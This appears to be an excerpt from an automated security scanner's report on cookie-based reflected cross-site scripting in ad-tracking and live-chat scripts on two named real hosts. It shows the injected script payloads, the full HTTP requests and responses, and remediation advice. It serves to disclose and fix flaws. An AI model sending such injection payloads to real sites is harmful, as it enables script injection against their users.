HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Dec 2010 03:23:23 GMT Content-Type: application/x-javascript Connection: close Vary: Accept-Encoding Set-Cookie: BMX_G=0; expires=Tue 18-Mar-2008 03:23:23 GMT; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 1006
({ "ar_p76230671": 'exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&', "BMX_G": '0', "ar_p70821733": 'exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov ...[SNIP]... 5 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&', "ar_p76459327": 'exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec 5 00:50:24 2010&prad=56089138&arc=39228779&b30ca<script>alert(1)</script>7badc2c3ab9' });
The value of the ar_p76910469 cookie is copied into the HTML document as plain text between tags. The payload 7d39c<script>alert(1)</script>9d09c880b4a was submitted in the ar_p76910469 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /b/node_rcAll.pli HTTP/1.1 Host: ar.voicefive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ar_p76910469=exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&7d39c<script>alert(1)</script>9d09c880b4a; BMX_3PC=1; ar_p76230671=exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&; ar_70821733=exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&; BMX_G=0; UID=177862ed-204.0.5.41-1288922372; ar_p76459327=exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec 5 00:50:24 2010&prad=56089138&arc=39228779&; ar_p43112268=exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:41:28 2010&prad=48493791&arc=37093140&; ar_p72213098=exp=2&initExp=Thu Nov 25 14:06:18 2010&recExp=Thu Nov 25 14:08:26 2010&prad=56363817&arc=38845248&; ar_p70821733=exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&; BMX_BR=pid=p76910469&prad=50021&arc=521&exp=1292110859;
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Dec 2010 03:23:19 GMT Content-Type: application/x-javascript Connection: close Vary: Accept-Encoding Set-Cookie: BMX_G=0; expires=Tue 18-Mar-2008 03:23:19 GMT; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 1006
({ "ar_p76230671": 'exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&', "BMX_G": '0', "ar_p70821733": 'exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov ...[SNIP]... Oct 30 01:41:28 2010&prad=48493791&arc=37093140&', "UID": '177862ed-204.0.5.41-1288922372', "ar_p76910469": 'exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&7d39c<script>alert(1)</script>9d09c880b4a', "BMX_3PC": '1', "BMX_BR": 'pid=p76910469&prad=50021&arc=521&exp=1292110859', "ar_70821733": 'exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu000033 ...[SNIP]...
The value of the vsid cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 19ae4"-alert(1)-"56c191aaa46 was submitted in the vsid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /js/valera/safe-standard.js HTTP/1.1 Host: image.providesupport.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: vsid=HFU500OBaLl219ae4"-alert(1)-"56c191aaa46;
Response
HTTP/1.1 200 OK Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="NOI CURa ADMa DEVa OUR IND COM NAV", policyref="/w3c/p3p.xml" Content-Type: application/x-javascript Cache-Control: must-revalidate, max-age=0 Pragma: no-cache Content-Length: 5218 Date: Sun, 12 Dec 2010 03:23:34 GMT Connection: close
var ps_valera_sid = "HFU500OBaLl219ae4"-alert(1)-"56c191aaa46"; // safe-standard@ie5up.js